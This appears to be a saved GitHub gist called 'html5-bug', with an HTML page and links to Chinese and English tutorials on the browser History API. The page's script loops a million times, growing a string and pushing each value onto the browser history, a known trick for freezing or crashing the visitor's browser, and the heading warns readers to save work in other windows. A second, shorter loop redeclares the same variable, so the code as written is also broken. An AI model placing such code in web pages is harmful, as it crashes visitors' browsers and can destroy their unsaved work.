-
-
Save xgqfrms-GitHub/a832eb33f702d7c2df2802fc875ac832 to your computer and use it in GitHub Desktop.
html5-bug
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>html5-bug</title> | |
</head> | |
<body> | |
<div> | |
<h1>demo:(温馨提示:请保存浏览器其它窗口的编辑任务)</h1> | |
<a href="www.0xroot.cn/demo.html">www.0xroot.cn/demo.html (点击一下,又不会怀孕!)</a> | |
<a href="https://laod.cn/tag/html5-bug/">https://laod.cn/tag/html5-bug/</a> | |
</div> | |
<script> | |
let total = ""; | |
for (let i = 0; i < 1000000; i++){ | |
total += i.toString(); | |
history.pushState(0,0,total); | |
} | |
// https://laod.cn/tag/chrome/ | |
// https://laod.cn/tag/chrome/0123456789 | |
let total = ""; | |
for (let i = 0; i < 10; i++){ | |
total += i.toString(); | |
history.pushState(0,0,total); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
history 对象
http://javascript.ruanyifeng.com/bom/history.html
操纵浏览器的历史记录
https://developer.mozilla.org/zh-CN/docs/DOM/Manipulating_the_browser_history
HTML5 简介(三):利用 History API 无刷新更改地址栏
https://www.renfei.org/blog/html5-introduction-3-history-api.html
HTML5之pushstate、popstate操作history,无刷新改变当前url
http://frontenddev.org/article/html-5-pushstate-popstate-operating-history-no-refresh-to-change-the-current-url.html
ajax与HTML5 history pushState/replaceState实例
http://www.zhangxinxu.com/wordpress/2013/06/html5-history-api-pushstate-replacestate-ajax/
再详解history.pushState和history.replaceState以及page ajax的实现
http://www.tangshuang.net/2287.html
Using the HTML5 History API
https://css-tricks.com/using-the-html5-history-api/
https://stackoverflow.com/questions/4570093/how-to-get-notified-about-changes-of-the-history-via-history-pushstate
https://stackoverflow.com/questions/17612307/pushstate-what-exactly-is-the-state-object-for